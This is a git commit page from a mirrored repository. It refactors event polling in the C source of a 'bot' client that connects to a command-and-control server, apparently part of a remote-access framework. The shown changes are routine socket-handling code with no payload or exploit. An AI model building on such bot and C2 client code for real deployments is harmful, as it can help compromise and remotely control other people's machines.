1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-09-26 20:00:08 +00:00

Refactored polling, lpolllist.c now handles poll events & flushes the poll queue

- Sockets now have event callbacks, onPollIn, onPollOut & onPollFail. If these are set to NULL they're ignored
This commit is contained in:
2022-03-24 10:26:06 -05:00
parent 94bcabadfd
commit 7baced7b8f
9 changed files with 110 additions and 83 deletions

View File

@@ -47,6 +47,8 @@ struct sLaika_bot *laikaB_newBot(void) {
bot->peer = laikaS_newPeer(
laikaB_pktTbl,
&bot->pList,
NULL,
NULL,
(void*)bot
);
@@ -129,7 +131,7 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
void laikaB_flushQueue(struct sLaika_bot *bot) {
/* flush pList's outQueue */
if (bot->pList.outCount > 0) {
if (!laikaS_handlePeerOut(bot->peer))
if (!laikaS_handlePeerOut(&bot->peer->sock))
laikaS_kill(&bot->peer->sock);
laikaP_resetOutQueue(&bot->pList);
@@ -147,19 +149,8 @@ bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
if (numEvents == 0) /* no events? timeout was reached */
return false;
LAIKA_TRY
if (evnt->pollIn && !laikaS_handlePeerIn(bot->peer))
goto _BOTKILL;
if (evnt->pollOut && !laikaS_handlePeerOut(bot->peer))
goto _BOTKILL;
if (!evnt->pollIn && !evnt->pollOut)
goto _BOTKILL;
LAIKA_CATCH
_BOTKILL:
laikaS_kill(&bot->peer->sock);
LAIKA_TRYEND
if (!laikaP_handleEvent(evnt))
laikaS_kill(&bot->peer->sock);
/* flush any events after (eg. made by a packet handler) */
laikaB_flushQueue(bot);